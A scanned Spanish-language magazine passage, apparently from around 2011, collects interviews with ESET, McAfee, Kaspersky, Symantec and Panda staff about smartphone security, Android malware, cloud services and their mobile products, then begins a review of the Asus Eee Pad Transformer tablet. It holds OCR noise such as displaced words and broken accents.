publicados en los repositorios de
aplicaciones. De esta manera
mientras el usuario
software, se realiza en un segundo
plano la ejecucién de la seccion de
cédigo que recopila la informacién y
la envia a servidores maliciosos o
envia mensajes de texto a nUmeros
Premium.

utiliza el

3- ¢Qué soluciones presenta
ESET y en qué costos? ¢Hay
alguna promocién especial?

En este link vas a encontrar todo lo
referido a los productos de Mobile
que hoy se encuentran en el
mercado: http://www.eset-
la.com/hogar/mobile-security-
antivirus

4- ;Cudl es el sistema operativo
mévil que mas
presenta, y por qué?.

amenazas

sistema
la mayor

En la actualidad, el
operativo movil con
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cantidad de amenazas detectadas
es Android. La plataforma movil de
Google presento a lo largo del 2011
la aparicion de una gran cantidad
de codigos maliciosos entre donde
se remarcan
DroidDream que fue publicado en el
Android Market y generé mas de
250.000 infecciones.

amenazas Como

Ademads, la cantidad de troyanos

SMS que realizan el envio de
mensajes de texto a numeros
Premium sin el consentimiento del
usuario estd en aumento y es una
de las amenazas mas comunes de
encontrar para esta plataforma que
son publicadas en repositorios de
aplicaciones alternativos. Entre los
principales motivos por los cuales
Android es uno de los objetivos
principales de los ciber criminales,
es a causa de que es la plataforma
moévil con mayor porcentaje del
mercado. De esta manera, al
desarrollar una amenaza para esta
plataforma y publicarla en el
Android Market o cualquier
repositorio de aplicaciones, la
cantidad de victimas que podrian
descargar el codigo malicioso es
mayor a otras plataformas.

5- Sobre la nube, ¢cual es la
opinién sobre los servicios?

En lo que respecta a la seguridad
de la informacién en la nube, tanto
los usuarios como los proveedores
de servicios deben ser consientes
de un manejo conjunto de la
seguridad. Cuando
aloja la informacion de los usuarios
debe tener en cuenta a cargo de
quién esta la seguridad.

un servicio

Basicamente hay dos cuestiones
muy importantes. La primera de
ellas, es donde esta alojada la
informacion: en  un
externo. Es decir, en un servidor
gue es propiedad del proveedor vy,
por lo tanto, informacion que puede

servidor

ser  confidencial estara en
propiedad de terceros. Esto no es
algo que se deba considerar
inseguro, pero sin lugar a dudas
esto podria afectar la privacidad de
la compaiiia, y por ende afectar la

confidencialidad de la informacién.

La segunda cuestion esta asociada
a la seguridad que tengan dicha
informacion. Aan confiando en la
confidencialidad del proveedor, un
atacante  podria
servidores y obtener todos los
datos alli alojados, incluidos los de
la propia empresa. Y este es, uno
de los aspectos mas importantes
sobre la seguridad de la
informacion y el cloud computing:
al delegar la gestién del servicio,
también se delega la proteccion de
los datos. Es ahora la empresa
proveedora quien debe
responsabilizarse por proteger los
datos que son de los usuarios.

vulnerar  sus

Segun datos de ESET
Latinoamérica el 60% de los
usuarios que ven su informacion
comprometida por un error en el
prestador cambian de servicio. De
esta manera, podemos remarca la
importancia de confiar en quien
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almacena los datos del usuario. Si
trasladamos esta cuestion a los
dispositivos moviles, ademas de
proteger su informacion en su
Smartphone los usuarios también
deben comprender a quién le estan
relegando la proteccion de su
informacion.

6- ¢Algun tipo de recomendacion
para los usuarios moviles?

En primera instancia la utilizacion
de una solucion de seguridad que
ademas de protegerlos de los
cddigos maliciosos cuenten con
funcionalidades Anti-Theft, que le
permita al usuario borrar la
informacion almacenada en el
dispositivo de manera remota en
caso de robo o pérdida del

dispositivo. También se recomienda
a los wusuarios que activen el
acceso al dispositivo mediante la
utilizacion de un PIN de seguridad,
como asi también que realice las

descargas desde sitios oficiales de
aplicaciones. Para mas concejos
visitar http://blogs.eset-
la.com/laboratorio/2010/05/11/diez-
consejos-usuarios-moviles/

Acerca de ESET

Fundada en 1992 y con oficinas
centrales en San Diego, California,
Estados Unidos, ESET es una
compafiia global de soluciones de
software de seguridad que provee
proteccion de dltima generacién
contra virus informéticos. El
premiado producto ESET NOD32
Antivirus, asegura
rendimiento de su red, deteccién de
heuristica avanzada, y soporte
mundial gratuito.

el maximo

Para mas informacién, visite

www.eset-la.com

U McAfee

Seguridad en smartphones

Por Carlos Aramburu, Consumer
Manager de McAfee para
Argentina, Uruguay y Paraguay.

1- ¢:Cémo ve McAfee el mercado
de los dispositivos mdéviles?
¢ Cual es el futuro del mismo?

Los dispositivos moviles son el
futuro en si  mismo. Las
proyecciones nos indican que hacia
el afio 2020, es decir, en algo mas
de 8 afios, la cantidad de
dispositivos méviles con acceso a
Internet en el mundo sera de 10
billones. Ahora mismo, estamos
viendo cémo las tablets comienzan
a desplazar a las netbooks, se
venden mas smartphones que PC’s
y los usuarios incorporan
rapidamente estos dispositivos a su
uso diario.

Por esto, nuestra vision del futuro
son personas que utilizan
dispositivos desde
multiples accesos de banda ancha,
en mayormente forma inalambrica,
en un bar, en el transporte publico,
en el hogar, en el lugar de trabajo,
usando tanto aplicaciones
personales como  aplicaciones
profesionales 0 laborales.
Accediendo al e-mail corporativo y
extrayendo datos de los sistemas
de su empresa, accediendo a sus
cuentas bancarias personales, pero
también redes
sociales o mirando una pelicula on
line, todo desde uno o varios
dispositivos moviles.

moéviles

utilizando las

Como empresa de seguridad
informatica, McAfee tiene la mision
de proteger al usuario en estos
multiples protegiendo
tanto a la persona y su informacion
como a la integridad del dispositivo
con el que accede.

accesos,

2- ; Qué tan importante es para el
usuario contar con un Soft de
seguridad para este tipo de
dispositivos? ¢Cuales son los
riesgos a los que se enfrenta un
usuario sin ningun Soft?

Es muy importante y existen varios
motivos: desde el lado de los
usuarios, hemos detectado que no
tienen la misma precaucién con los
dispositivos méviles que con las
PC (ya sea desktop o laptops).
Estamos viendo que el acceso a
los app stores y las descargas de
aplicaciones gratis o con un cargo
muy bajo, sumado a la percepcion
de novedad que genera el acceso
a través de un dispositivo diferente,
hacen que el usuario se
despreocupe e instale
practicamente cualquier software
sin tener en cuenta los riesgos de
hacerlo.

La forma mas comdn de malware
son programas escondidos dentro
de las aplicaciones que instala el
usuario. Al instalar la aplicacién,
cambia los permisos de acceso a la
informacion y al sistema operativo
del dispositivo, lo que permite
practicamente que pueda usarse
para cualquier cosa. Lo mas comun
y a su vez peligroso es el robo de
datos,
bancarios, a redes sociales, etc.
Otro peligro habitual es que varios
de estos programas maliciosos

contraseflas a accesos
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utilizan funcionalidades del
Smartphone que generan altos
gastos adicionales en la factura
mensual del usuario, por ejemplo
envian SMS a toda la lista de
contactos o se conectan a la red y
transmiten datos.

3- ¢Qué soluciones presenta
McAfee y en qué costos? ¢Hay
alguna promocién especial?

McAfee ofrece la Suite de
Seguridad para Mdviles que es una
solucién integral para dispositivos
que funcionan sobre las
plataformas tipicamente moviles
(Android, Symbian, i0S,
BlackBerry, etc). Esta solucion
consta de Antivirus que protege el
dispositivo de todo tipo de malware
y trabaja on line con nuestra red de
inteligencia global, asegurando la
méaxima efectividad en la deteccion
de programas maliciosos. También
consta de una soluciébn de
proteccion integral del dispositivo y
sus datos, especialmente util para
los casos de pérdida o robo del
equipo, que permite bloquear el
dispositivo a distancia ya sea desde
otro celular o desde internet,
localizarlo en un mapa digital,
realizar back up de datos en la
nube vy eliminar todo si fuera
necesario. Y por ultimo, la Suite de
Seguridad incluye la proteccion de
la navegacion por Internet a través
de nuestro Site Advisor que
clasifica los sitios a los que puede
acceder el cliente como rojos,
amarillos y verdes, de acuerdo con
su reputacién y su peligrosidad
respecto del malware.

Nuestra McAfee Suite de Seguridad
para Moviles esta disponible en los
Stores de Apple, Android vy
BlackBerry, para compra directa en

nuestro sitio web y proximamente
sera ofrecida al publico a través de
los operadores moviles socios de
McAfee. El producto se ofrece con
un periodo de prueba totalmente
sin cargo.

4- ;Cudl es el sistema operativo
que mas amenazas presenta y
por qué?

El Informe de Amenazas del
segundo trimestre de 2011 de
McAfee reveldé que el sistema
operativo Android fue el principal
objetivo de la mayoria de los
malware moviles superando asi a
los generados para el sistema
operativo Symbian. Esto se debe,
mayormente, a que algunas
aplicaciones generadas para este
sistema operativo a las que puede
acceder un
descarga libre y gratuita y no son
chequeadas, a diferencia de las
aplicaciones generadas para
dispositivos Apple, ya que todo es
generado y administrado por la
empresa asegurando al consumidor
la seguridad de las mismas.

usuario son de

McAfee Movile Security:
https://www.mcafeemobilesecurity.c
om/products/android.aspx?cid=959
77

McAfee WaveSecure:
https://lwww.wavesecure.com/defaul
t.aspx?cid=88019

Seguridad en smartphones

Por Dmitry Bestuzhev, Senior
Malware Researcher de
Kaspersky Lab.

1- ;Como ve McAfee el mercado
de los dispositivos méviles?
¢Cual es el futuro del mismo?.

Es uno de los mercados mas
crecientes actualmente. En el
futuro més cercano, vamos a tener
mas y mas dispositivos mobviles
que de poco a poco van a ir
reemplazando incluso las netbooks
que tenemos actualmente. Por lo
visto pronto, las tablets se podran
convertir en el dispositivo principal
tanto para la telefonia como para la
computacion  personal con la
capacidad de ser integradas a los
teclados y pantallas externos,
discos duros de almacenamiento.
En el momento que suceda esto,
los notebooks y las netbooks
pasaran al pasado.

2- ¢ Qué tan importante es para el
usuario contar con un Soft de
seguridad para este tipo de
dispositivos? ¢Cuales son los
riesgos a los que se enfrenta un
usuario sin ninguan Soft?.

Las estadisticas muestran que la
plataforma mas popular y con el
mayor crecimiento y potencial es el
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Android.

http://www.google.com/trends?g=an
droid%2C+blackberry%2C+i0s%2C
+windows+mobile&ctab=0&geo=all
&date=all&sort=0

Dicho sistema operativo se usa
ampliamente en muchos
smartphones y tablets de hoy. Son
multifuncionales y libres pero no
inmunes a los virus informaticos.

Precisamente por ser los sistemas
operativos mas populares
actualmente y también por tener
mucha informacién publica sobre el
funcionamiento de los mismos y los
manuales del desarrollo de las
aplicaciones, los criminales
cibernéticos han puesto toda su
atencion en desarrollar los virus
informaticos para esta plataforma -
Android.

La situacion es tan critica que por lo
menos cada semana aparece un
nuevo programa de coédigo
malicioso para Android y es solo el
comienzo.

El crecimiento total de la cantidad
de los programas de cdédigo
malicioso para Android en un afio
ha superado la cantidad total de los
virus producidos para Symbian en
los 4 afios anteriores. Hasta este
afio, Symbian era el sistema
operativo con la mayor cantidad de
los ataques; ahora Android tomo el
primer lugar en este rating.

Con una situacion asi, es
simplemente indispensable y
esencial que los usuarios tengan un
anti-virus instalado y funcionando
en su equipo ya que se enfrentan a
muchos riesgos principalmente

relacionados con el robo de su
informacion guardada en el movil y
también el dinero a través de los
envios no autorizados de los
mensajes SMS a
cortos y pagados. Generalmente un
mensaje enviado a un nimero asi
puede costar de 5 a 20 USD.

los nUmeros

3- ¢Qué soluciones presenta
MacAfee y en qué costos? ¢Hay
alguna promocion especial?.

Kaspersky Lab tiene una solucion
dedicada denominada Kaspersky
Mobile Security
http://latam.kaspersky.com/producto
s/productos-para-el-hogar/mobile-

security que cuenta con varias
seguridades orientadas a la
proteccion del equipo, no
solamente contra virus sino pérdida
fisica y robo de informacién en si.

4- ;Cual es el sistema operativo
mévil que méas amenazas
presenta, y por qué?.

Como ya se ha mencionado, es el
Android. Y esto ha sucedido por los
siguientes factores:

a. La popularidad del sistema
operativo.

b. Disponibilidad de la informacion
acerca del funcionamiento de la
arquitectura.

c. Posibilidad de la programacion

libre y el envio de las aplicaciones
maliciosas al mercado de Google.

d. Las vulnerabilidades propias en
el sistema operativo.

5- Sobre la nube, ¢cual es la
opinién sobre los servicios.

En el caso de los dispositivos
moviles y la seguridad por la nube,
es un aspecto de polémica. Lo
podemos decir ya que para usar
cualquier nube se requiere
conexién con ella lo que puede
recurrir en los gastos extras para
los propietarios de los moviles,
donde especialmente se trata de
pagos por el trafico o mas aun
cuando el usuario se encuentra
dentro del roaming en el extranjero.

6- ¢Algun tipo de recomendacion
para los usuarios moviles?

Tener un anti-virus, actualizar el
firmware, encriptar la informacion
guardada, activar siempre la
proteccién del acceso al dispositivo
por medio de una contrasefas,
tener un software especializado
que permita rastrear el equipo
extraviado, bloguearlo a distancia y
notificar sobre el nuevo numero
que se le asigne en caso de que
los que lo hayan robado le cambien
el chip.
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Seguridad en smartphones

Por Santiago Cavanna, ingeniero
en Sistemas y Experto en Seqguridad
para el Sur de América Latina,
Symantec

1- ¢(Célmo ve Symantec el
mercado de los dispositivos
moviles? ¢Cual es el futuro del
mismo?

La movilidad es una tendencia que
se encuentra en pleno auge y
crecimiento. Cada vez son mas las
personas que utilizan netbooks,
notebooks, tablet PC y/o teléfonos
celulares inteligentes con acceso a
internet debido a los diversos
beneficios que brinda la movilidad
como la mayor disponibilidad y el
rapido acceso a la informacion, la
simplificacion de procesos,
productividad y la mayor flexibilidad
por parte de los colaboradores.

Esta tendencia hace especialmente
atractivo al segmento para los
desarrolladores de malware u otro
tipo de amenazas, lo que ha
provocado un incremento en el
ndamero de amenazas cibernéticas
asociadas a malware dirigidos a
dispositivos moviles y los riesgos
asociados a estos.

Actualmente, los dispositivos se
encuentran en todas partes y
llaman la atencion de los atacantes,
por esta razén, Symantec espera
gue aumenten los ataques a estas
plataformas lo cual implica a su vez
nuevos riesgos, convirtiéndose en
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una de las principales fuentes de
pérdida de datos confidenciales.

2- ;Qué tan importante es para el
usuario contar con un Soft de
seguridad para este tipo de
dispositivos? Cuales son los
riesgos a los que se enfrenta un
usuario sin ningan Soft?.

Los dispositivos mdviles contienen
grandes volumenes de informacién
personal y datos corporativos v,
ademas, pueden conectarse a
través de diferentes plataformas y
redes que utilizan una amplia gama
de estandares de conectividad.
Esto, combinado con el hecho de
gque millones de dispositivos
moviles "desaparecen” cada afio en
todo el mundo, ofrece un panorama
claro de como si se usan para fines
maliciosos, ponen en riesgo la
informacion y exponen a las redes
empresariales a un ambiente
peligroso que puede dar lugar a la
pérdida de ingresos, implicaciones
legales y dafios a la empresa.

De hecho, Symantec documenté
163 vulnerabilidades durante 2010
gue podrian ser utilizadas por los
atacantes para obtener el control
parcial o total de los dispositivos
que ejecutan plataformas mdviles
populares. En los primeros meses
de 2011 los atacantes ya han
aprovechado estas fallas para
infectar cientos de miles de
dispositivos Gnicos. De acuerdo con
los resultados de un estudio
realizado por Mocana, no resulta
sorprendente que 47% de las
organizaciones no crean que
puedan controlar adecuadamente
los riesgos que tienen los
dispositivos moviles. Y que mas de
45% de las organizaciones dice que
los problemas de seguridad son

uno de los mayores obstaculos
para la implementacion de mas
dispositivos inteligentes.

Es por ello que frente a este
panorama, se vuelve sumamente
importante  garantizar que los
dispositivos moviles y la
informacion que contienen estén
asegurados,
soluciones y practicas.

mediante distintas

3- ¢Qué soluciones presenta
Symantec y en qué costos?
¢Hay alguna promocion
especial?

Symantec ofrece diversas
soluciones de seguridad y gestién
movil que se enfocan en ayudar a
los consumidores, empresas y
también en los proveedores de
servicios de comunicacion a
proteger sus datos. Estas pueden
escalar de un solo a millones de
usuarios, atendiendo las demandas
de éstos 3 grupos por igual. Las
soluciones de Symantec son
globales para las siguientes
plataformas: Windows  Mobile,
Symbian, BlackBerry, Android y el
IOS de Apple (iPhone, iPad).

Las soluciones de Symantec son
las siguientes:

Para empresas

Symantec Mobile Management:
Gestion de dispositivos. Permite a
las empresas proteger y
administrar sus dispositivos
moviles desde una sola consola.

Las plataformas soportadas
incluyen Windows Mobile,
Symbian, BlackBerry (integrandose
con BES), Android y el 10S de




Apple (iPhone, iPad).

Symantec Endpoint Protection
Mobile Edition: Proporciona
proteccion para los dispositivos
moviles contra las amenazas
maliciosas y el acceso no
autorizado a informacién sensible
de la empresa
utilizacion de la tecnologia antivirus
galardonado, con
firewall y protecciéon anti-spam de
SMS. Esto ayuda a garantizar tanto
la proteccién de activos moviles y el
cumplimiento de los requisitos de
seguridad internos y externos. Esta
solucion se integra con la
plataforma de administracién de
Symantec indicada anteriormente.

mediante la

un avanzado

Access
Edition:

Network
Mobile

Symantec
Control

Proporciona comprobacion de la
integridad basado en el cliente y la
central de alerta del estado del
dispositivo. Evaluacién del estado

de integridad del host para
dispositivos moviles. Garantiza que
las organizaciones son capaces de
cumplir consistentemente la
politica.

PGP Mobile: Encriptacion de
dispositivos con Windows Mobile y
tarjetas de almacenamiento.
Proporciona una potente proteccion
para los datos almacenados, en
transito y por compartir.

PGP Support
BlackBerry: Encriptacion de
dispositivos. Desarrollado en
colaboraciéon entre RIM y PGP,
PGP  Support Package para
BlackBerry ya esta integrado en el
sistema  operativo nativo de
BlackBerry.

Package for

VeriSign ldentity Protection (VIP)
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Access for Mobile: Autenticacion:
Verifica la identidad del usuario
mediante la generaciéon de un
cédigo de seguridad Unico o la
contrasefia de una sola vez cada
vez que se utiliza. Puede ser
utilizados para proteger la identidad
de los usuarios, activos financieros
y de la intimidad cuando se
inscriban para entornos
empresariales o sitios Web lideres
como PayPal, de eBay, AOL y otros
sitios Web que muestra el logo de
miembros de la Red VIP.

VeriSign Device Certificate
Services: Autenticacion. Permite a
los proveedores de
realizar la autenticacion y evitar el
acceso de dispositivos no
autorizados o clonados.

Servicios

Para consumidores

Norton Everywhere: combina las
tecnologias de seguridad, copias de
respaldo e
consumidores de Symantec con los
socios para brindar los servicios
Norton a los consumidores de una
manera completamente
Esta iniciativa significa que los
consumidores pueden confiar en la
protecciobn de Norton en todas
partes — en lugares,
dispositivos y experiencias
digitales. Los productos existentes

infraestructura de

nueva.

muchos

de Norton Everywhere incluyen
Norton Smartphone Security for
Android y Norton DNS, que esta
disponible para cualquier
dispositivo desde iPad hasta
consolas de juegos y enrutadores
Wi-Fi. Ademas Symantec ofrece
Norton Smartphone Security para
Symbian y Windows Mobile.

Para Proveedores de |los
Servicios de Comunicacion (ISPs

y Operadoras Celulares)

Next Generation Network
Protection (NGNP): Permite a los
operadores celulares e ISPs
desarrollar servicios de seguridad
para sus suscriptores (antispam
SMS/control parental/etc), proteger
mejor sus redes, y administrar las
preferencias de usuario en forma
tal de aumentar la rentabilidad al
mejorar la satisfaccion de los
suscriptores disminuyendo el churn
y los costos asociados al mal uso
de la red, la proliferacion de
malware y el spam.

Las principales ventajas de estos
productos son la posibilidad de
tener una  seguridad  movil
integrada 'y  soluciones de
administracion de  dispositivos
gestion unificada de
dispositivos  modviles, desktops,
portatiles y servidores. Ademas del
respaldo de las tecnologias de
Symantec lideres en el mercado de
la seguridad.

moviles,

4- ¢;Cual es el sistema operativo
movil que mas
presenta, y por qué?

amenazas

De acuerdo a un informe realizado
por Symantec, uno de los hallazgos
destacados es que a pesar de que
las plataformas moviles mas
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utilizadas en la
actualidad fueron disefiadas
considerando cuestiones de
seguridad, éstas no siempre son
suficientes para proteger datos
sensibles de activos comerciales
gue se intercambian a través de
estos dispositivos. Otro factor que
influye en la proteccién de datos es
que los dispositivos mdviles
actuales estdn cada vez mas
conectados y sincronizados con un
completo ecosistema de servicios
de computo en la nube y de
escritorio de terceros, lo que sin
duda esta fuera del control de las
compafilas y expone mas la
informacion.

populares

Otras de las conclusiones que se
obtuvieron a partir de este informe,
fueron:

. A pesar de brindar mayor
seguridad que los sistemas
operativos tradicionales para
computadoras de escritorios, tanto
iOS como Android siguen siendo
vulnerables ante muchas
categorias existentes de ataques.

. El modelo de seguridad de
iOS ofrece mayor proteccién contra
software  malicioso  tradicional,
principalmente debido al riguroso
proceso de certificacion de

aplicaciones de Apple y al proceso
de certificacion de desarrollador,
que examina la identidad de cada
autor de software y elimina a los
atacantes.

. Google ha optado por un
modelo de certificacibn menos
riguroso, permitiendo a cualquier
desarrollador de software crear y
lanzar aplicaciones en forma
anonima, sin inspeccion. Podria
decirse que la falta de certificaciéon
originé el creciente volumen actual
de software malicioso para Android.

. Android brinda a las
aplicaciones mucho mas control
sobre las funciones del dispositivo
que iOS, y deja en manos del
usuario la decision de otorgar o no
dichas capacidades a cada
aplicacion. A pesar de que esto le
permite a los desarrolladores crear
aplicaciones mas poderosas Yy
Utiles, deja muchas decisiones de
seguridad en manos del usuario,
exponiéndolos a mayores riesgos.

usuarios de
Android e i0S
regularmente  sus
equipos con servicios de computo
en la nube de terceros (como los
calendarios basados en la red) y

. Los
dispositivos
sincronizan

con sus computadoras de escritorio
domésticas. Esto puede exponer
eventualmente datos comerciales
sensibles almacenados en estos
dispositivos a sistemas que estan
fuera del control de la compafiia.

. Los dispositivos "liberados"
("jailboroken"), o aquellos cuya
seguridad ha sido deshabilitada,
son un blanco atractivo para los
atacantes ya que son tan
vulnerables
computadora tradicional.

como una

5- Sobre la nube, ¢cual es la
opinién sobre los servicios?

El cloud computing es una practica
uatil y beneficiosa que le ofrece una
reduccién en los costos y otros
beneficios tangibles a las
empresas, Yy que
desarrollandose y aplicandose. Sin
embargo, se debe ser consciente
de que con ella también
apareceran formas de
ataque, y que estas requieren
soluciones apropiadas y politicas
especificas para proteger de
manera eficaz la informacion.

continuara

nuevas

Varias compafiias han tomado
conciencia de esto, prueba de ellos
son los 9 millones de usuarios en
todo el mundo y mas de 30,000
clientes que
Symantec.cloud, nuestra area de
servicios de  seguridad de

mensajeria y seguridad en Web.

tenemos en

Symantec dispone de nuevas
herramientas que permiten
administrar de manera mas sencilla
este nuevo entorno complejo de
almacenamiento, facilitando el
trabajo de los administradores IT.
Estas soluciones responden a las
necesidades de distintos perfiles de
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cliente, y apuntan a facilitar la
operacion de sus tecnologias, sin
importar desde qué dispositivo
acceden ni desde doénde, pero si
reconociendo quién puede acceder
a qué tipo de informacién. Estas
novedades permiten conjugar altos
niveles de seguridad a la vez que
flexibilidad y facilidad para la
implementacién y administracién
del sistema.

Esta claro que si bien el
almacenamiento en la Nube es (til,
se debe asegurar el hecho de que
los datos se encuentren protegidos.

6- ¢Algun tipo de recomendacion
para los usuarios moviles?

En Symantec sugerimos a las
organizaciones que de manera
inicial, identifiquen qué informacion
gue se encuentra en dispositivos
moviles se desea proteger y que
también establezcan medidas de
seguridad en relacion al uso de
estos dispositivos y las compartan
con sus empleados.

De manera complementaria, con
base en sus necesidades de
proteccion pueden evaluar vy

adquirir diversas
soluciones que protejan
su informacion y
equipos.

Desde Symantec,
recomendamos a las
empresas tomar en
cuenta las siguientes
practicas:

Contraseias. Por

politicas  corporativas,
todos los empleados deberian estar
obligados a proteger con
contrasefias sus dispositivos
moviles y deben ser capacitados
para cambiarlas con frecuencia,
para que sea dificil para los hackers
obtener acceso a informacién
sensible.

Encriptacion. El solo uso de
contrasefias no es suficiente
cuando un ladrén o un hacker tiene
la oportunidad de mantener
fisicamente el dispositivo durante
un largo periodo de tiempo. Las
tecnologias moviles de encriptacion
ofrecen  proteccion de datos
transmitidos y almacenados a
través de dispositivos moviles.

Administracion de dispositivos
moviles. Al aumentar la eficiencia
en la administracion de TI con el
despliegue de diferentes
aplicaciones y actualizaciones, la
gestién de estas soluciones deben
asegurar que los dispositivos y el
software estén al dia.

Con lo cual no sélo se mejora la
productividad del usuario final
mediante la  proteccion  del
dispositivo movil, sino que también

se asegura que no presente
vulnerabilidades en materia de
seguridad. Estas soluciones
también pueden ayudar a las
empresas a borrar datos a
distancia y bloquear el acceso en
caso de pérdida o robo.

Control de acceso de redes. Las
soluciones de administracion de
red movil que incluyen
funcionalidades de control de
acceso, pueden ayudar a cumplir
las politicas de seguridad de una
empresa y asegurar que soélo
dispositivos compatibles con éstas
puedan tener acceso a redes
empresariales 'y servidores de
correo electrénico.

Autenticacion. La mayoria de las
redes empresariales requieren un
nombre de usuario y una
contrasefia para identificar a los
usuarios, pero éstos pueden verse
comprometidos.

Usando la tecnologia de doble
factor autenticacion se garantiza un
mayor nivel de seguridad cuando
los usuarios se conectan a la red
corporativa desde  dispositivos
moviles.
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PANDA

S ECURITY

Seguridad en smartphones

Por Marcelo Pizani, Presales &
Product Manager, Panda Security
Cono Sur

1- ¢:Cémo ve Panda el mercado
de los dispositivos mdéviles?
¢Cudl es el futuro del mismo?

El mercado de dispositivos moviles
esta finalmente definiéndose hacia
algun estandar, al menos en lo que
a sistemas operativos y plataformas
de aplicaciones se refiere, ya que
existe una fuerte presencia de dos
o tres dominadores (Android, RIM,
iOS, etc.), aunque adn parece un
poco distante un amplio dominio de
una plataforma Gnica.

El crecimiento de las Tablets es
asombroso, y Se espera un
vertiginoso camino dentro de este
tipo de dispositivos, que prometen
competir palmo a palmo con las
inminentes “ultrabooks”, por lo que
se espera un futuro muy
prometedor en este rubro.

2- ¢Qué tan importante es para el
usuario contar con un Soft de
seguridad para este tipo de
dispositivos? ¢Cuales son los
riesgos a los que se enfrenta un
usuario sin ninguin Soft?

Es importante analizar qué tipo de
informacion almacena cada usuario
en su dispositivo moévil, porque de
tratarse de informaciéon  muy

sensible es posible que haya que ir
evaluando en instalar algun
programa Antimalware e incluso
alguna herramienta que permita
realizar copias de seguridad, o
hasta incluso blogquear el teléfono y
borrar su contenido en caso de
hurto.

De las escasas amenazas que
existen actualmente se pueden
destacar aquellas que roban datos
importantes de los dispositivos, 0
programas cuyo fin es utilizar la
conectividad del sispositivo para
enviar spam via sms o propagarse
a la agenda de contactos del
aparato.

Por otro lado, hay que tener
particular  precaucibn con las
aplicaciones y juegos que se
descargan, la web esta cada dia
méas inundada de aplicaciones,
juegos, y adicionales para los
dispositivos moviles y por supuesto,
no todas son de fiar, hay que
verificar siempre que el portal sea
oficial o de suma confianza, para no
instalar algun contenido malicioso
en nuestro nuevo teléfono.

3- ¢Qué soluciones presenta
Panda y en qué costos? ¢Hay
alguna promocioén especial?. (en
este caso como Panda no tiene
producto puede reemplazarlo
con el porqué).

Al dia de hoy se nota un incremento
en la apariciébn de amenazas para
las plataformas moviles, aunque
claro sigue
desarrollar malware para todas las
plataformas, por lo que entonces
los ciber criminales no pueden
aprovechar la gran cantidad de
informacion  sensible que se
traslada permanentemente en estos

siendo dificultoso

dispositivos alrededor del mundo,
ya que si lo hacen para una
plataforma sola, por ejemplo
Android, no pueden infectar a
ningun usuario de RIM o de iOS de
Apple, solo por citar un ejemplo.
Sin embargo, la tendencia de

dominacion de algunos sistemas
operativos en el futuro cercano
parece ir indicando el camino que
tomara las
dispositivos méviles.

amenazas para

En cualquier caso ya existen
algunos soft de seguridad para
smartphones y similares, y saldran
nuevos a la luz en breve, en Panda
Security tenemos planes cercanos
de lanzar al mercado,
probablemente en Q2 de 2012, un
producto para dispositivos moviles,
aunque habra que mirar de cerca la
evolucion del mercado.

4- ;Cual es el sistema operativo
moévil que mas
presenta, y por qué?

amenazas

Esta es una de las cuestiones
claves, en los Ultimos tres afios el
mercado de sistemas operativos
moviles ha sido testigo de una
fuerte lucha entre varios jugadores:
Symbian, Windows Mobile, RIM,
i0S, Java, y finalmente Android de
Google se han repartido una
multitud de productos y
durante 2011, con la aparicién de
las tablets, se observa una
predominancia de Android en
dispositivos ultimo modelo, aunque
no podemos predecir como
avanzara el mercado durante 2012
y que jugador dara en el blanco
con el siguiente producto de
consumo masivo.

recién

Respecto a amenazas
especificamente, resulta como es




l6gico, ser Android uno de los que
ya cuenta amenazas en los
fabricantes de  software de
Seguridad, aunque también hay
algunos casos de codigo malicioso
para el sistema de Apple y el de
Blackberry, pero escasos.

5- Sobre la nube, ¢cual es la
opinién sobre los servicios?

La nube vino para quedarse, y
definitivamente ofrecera un abanico
de servicios permanentes para la
mayor cantidad de aspectos de
nuestra vida tecnolégica.

Particularmente para dispositivos
moéviles la nube ya hoy ofrece
servicios de Sincronizacion, copia
de seguridad y almacenamiento de
multiples perfiles, ademas de los
servicios de streaming de audio y
video, geolocalizacién, mapas en
linea y la tan esperada realidad
aumentada.

Sin dudas que existen un sinfin de
posibilidades de expansién para el
futuro, sin ir mas lejos desde Panda
Security trabajamos en soluciones
de seguridad en la nube con
nuestros productos Cloud
Protection (Office, Email e Internet)
con un éxito sin precedente, con lo
cual podriamos integrar también

soluciones de seguridad para
dispositivos  moviles u  otros
dispositivos del futuro con gestion,
administracion y monitoreo desde la
nube.

6- ¢Algun tipo de recomendacion
para los usuarios moviles?

Las recomendaciones siempre
deben comenzar con la educacién y
la informacion, saber qué es lo que
sucede en el mercado y tener bien
presente que es importante
almacenar la menor cantidad de
informacion confidencial o sensible
en un dispositivo movil, realizar
copias de seguridad periddicas y
utilizar en lo posible bloqueo de
paneles y acceso al dispositivo con
contrasefias complejas y fuertes,
mezclando letras mayulsculas y
mindsculas con  ndmeros Yy
simbolos en lo posible.

A la hora de descargar e instalar
aplicaciones 'y juegos utilizar
portales de confianza u oficiales,
no descargar nada de sitios en los
gue no se confia 0 no se conocen,
de la misma forma no seguir
enlaces recibidos por SMS o correo
a aplicaciones maravillosas que
prometen hacer de todo, al igual
que no hacemos click en nuestra
PC de escritorio.

Existen también otras aplicaciones
tanto gratuitas como pagas que
permiten encriptar informacion en

los dispositivos y hasta incluso
realizar un borrado remoto total de
la informacion en caso de extravio
0 hurto.
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Hemos visto en Tuxinfo y el
suplemento  “Tuxmovil” algunas
tabletas con Android realmente muy
lindas como la Samsung Galaxy
Tab y la Xoom de Motorola, no son
las Unicas, podriamos mencionar
también a la Acer Iconia Tab 500 y
a la reciente aparecida en nuestro
pais Lenovo K1, entre otras.

Las tabletas con Honeycomb que
se ven por ahora tienen, en su gran
mayoria, un hardware bastante
similar, procesador Nvidia Tegra2
de doble nucleo, 1 Gb. de RAM, 16
0 32 Gh. de espacio en disco, y
este equipo de Asus no es la
excepcion pero... la Eee Pad
Transformer posee una interesante
caracteristica que la hace distinta,
(a pesar de ser una muy buena
tableta a un precio muy competitivo
similes), posee un
accesorio que la transforma en casi
una netbook con Android, su
docking. El mismo consta de un
completo y comodo teclado Qwerty
con teclas de acceso directo a sus
principales funciones,
trackpad, dos puertos USB que
permiten la conexion de diversos
periféricos como raton USB,
pendrives o mandos de juegos.

con sus

tiene un

Asus Eee Pad
Transformer

Una tableta con Honeycomb
que se atreve a ser diferente

También este accesorio nos
proporciona un slot de memoria SD
y dentro del mismo posee una
bateria extra con la cual extender la
autonomia del equipo de las 9,5 hs.
que promete su fabricante para la
tableta a unas interesantes 16 hs.

Dice la taiwanesa Asus (que fue
pionera en el sector de los
netbooks con su serie Eee) y creo
no se equivoca, que esta tableta
junto a su docking “Transforma tu
movilidad en productividad®, es
como tener dos gadgets en uno,
este modelo se distingue por diferir
de los otros, con interesantes
puntos a favor que les contaré a
continuacion.

Detalles tUnicos que la colocan
un paso adelante

El mas llamativo es su
